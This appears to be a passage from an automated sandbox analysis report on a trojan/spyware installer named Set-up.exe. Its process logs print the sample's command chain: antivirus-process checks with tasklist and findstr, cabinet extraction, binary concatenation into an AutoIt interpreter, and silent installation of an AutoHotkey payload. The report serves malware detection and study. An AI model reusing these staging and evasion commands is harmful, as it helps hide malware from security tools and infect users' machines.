Source: Lender.9.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Lender.9.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://repository.certum.pl/cscasha2.cer0
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: Lender.9.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Lender.9.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://subca.ocsp-certum.com01
Source: ColorStreamLib.exe, 0000002F.00000000.3049497031.000000000049A000.00000002.00000001.01000000.0000000D.sdmp, ColorStreamLib.exe, 0000002F.00000002.3087001919.000000000049A000.00000002.00000001.01000000.0000000D.sdmp, is-P5ORS.tmp.20.dr	String found in binary or memory: http://www.autohotkey.com
Source: ColorStreamLib.exe, 0000002F.00000000.3049497031.000000000049A000.00000002.00000001.01000000.0000000D.sdmp, ColorStreamLib.exe, 0000002F.00000002.3087001919.000000000049A000.00000002.00000001.01000000.0000000D.sdmp, is-P5ORS.tmp.20.dr	String found in binary or memory: http://www.autohotkey.comCould
Source: Establish.com, 0000000D.00000000.2080285675.0000000000E25000.00000002.00000001.01000000.00000007.sdmp, Betting.9.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: http://www.certum.pl/CPS0
Source: ColorStreamLib.exe, 0000002F.00000002.3111118300.0000000039BB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: https://jrsoftware.org/
Source: Z7592A1QJ4YAVH9BY5KB8681.exe, 00000011.00000000.2572127646.0000000000221000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: https://jrsoftware.org0
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, Set-up.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: https://sectigo.com/CPS0D
Source: Lender.9.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2595244618.0000000002650000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000003.2587763725.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000003.3113979708.00000000025C0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: https://www.certum.pl/CPS0
Source: Lender.9.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: Z7592A1QJ4YAVH9BY5KB8681.exe, 00000011.00000003.2575595204.00000000035EF000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.exe, 00000011.00000003.2578721924.000000007F0FB000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000000.2580361859.0000000000131000.00000020.00000001.01000000.00000009.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000000.2602325074.000000000045D000.00000020.00000001.01000000.0000000B.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp.19.dr, Z7592A1QJ4YAVH9BY5KB8681.tmp.17.dr	String found in binary or memory: https://www.innosetup.com/
Source: Z7592A1QJ4YAVH9BY5KB8681.exe, 00000011.00000003.2575595204.00000000035EF000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.exe, 00000011.00000003.2578721924.000000007F0FB000.00000004.00001000.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000000.2580361859.0000000000131000.00000020.00000001.01000000.00000009.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000000.2602325074.000000000045D000.00000020.00000001.01000000.0000000B.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp.19.dr, Z7592A1QJ4YAVH9BY5KB8681.tmp.17.dr	String found in binary or memory: https://www.remobjects.com/ps

Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49885 version: TLS 1.2

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

System Summary

Sample or dropped binary is a compiled AutoHotkey binary

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe

Window found: window name: AutoHotkey

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,

0_2_00403883

Source: C:\Users\user\Desktop\Set-up.exe	File created: C:\Windows\GunCast			Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File created: C:\Windows\BusyJump			Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_004074BB	0_2_004074BB

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49

Source: C:\Users\user\Desktop\Set-up.exe

Code function: String function: 004062A3 appears 58 times

Source: Set-up.exe

Static PE information: invalid certificate

Source: Z7592A1QJ4YAVH9BY5KB8681.tmp.17.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp.19.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: Z7592A1QJ4YAVH9BY5KB8681.exe.13.dr	Static PE information: Number of sections : 11 > 10
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp.19.dr	Static PE information: Number of sections : 11 > 10
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp.17.dr	Static PE information: Number of sections : 11 > 10

Source: Set-up.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000002.2597760326.0000000001030000.00000004.00000020.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000002.3116787143.0000000000AA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;.VBpp
Source: Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000012.00000002.2597760326.0000000001030000.00000004.00000020.00020000.00000000.sdmp, Z7592A1QJ4YAVH9BY5KB8681.tmp, 00000014.00000002.3116787143.0000000000AA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;.VBp

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@81/34@3/1

Source: C:\Users\user\Desktop\Set-up.exe

0_2_004044A5

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\Desktop\Set-up.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Den

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:768:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5136:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5280:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4028:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3868:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5612:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1876:120:WilError_03

Source: C:\Users\user\Desktop\Set-up.exe

File created: C:\Users\user\AppData\Local\Temp\nskF5D8.tmp

Jump to behavior

Source: Set-up.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'WRSA.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'OPSSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVASTUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVGUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'NSWSCSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SOPHOSHEALTH.EXE'

Source: C:\Users\user\Desktop\Set-up.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: Set-up.exe

Virustotal: Detection: 9%

Source: C:\Users\user\Desktop\Set-up.exe

File read: C:\Users\user\Desktop\Set-up.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Set-up.exe "C:\Users\user\Desktop\Set-up.exe"
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Manor Manor.cmd & Manor.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 446130
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Relations
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Onto" Lifetime
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 446130\Establish.com + Jon + Suggestion + Career + Biz + Build + Getting + Diving + Generation + Crossword + Betting + Lender 446130\Establish.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Teen + ..\Alabama + ..\Important + ..\Drawings + ..\Den + ..\Sluts + ..\Names u
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com Establish.com u
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Process created: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe "C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe"
Source: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe	Process created: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp "C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp" /SL5="$4041A,7875736,845824,C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe"
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process created: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe "C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe	Process created: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp "C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp" /SL5="$5041A,7875736,845824,C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9
Source: C:\Windows\System32\timeout.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process created: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe "C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe"
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Manor Manor.cmd & Manor.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 446130	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Relations	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Onto" Lifetime	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 446130\Establish.com + Jon + Suggestion + Career + Biz + Build + Getting + Diving + Generation + Crossword + Betting + Lender 446130\Establish.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Teen + ..\Alabama + ..\Important + ..\Drawings + ..\Den + ..\Sluts + ..\Names u	Jump to behavior
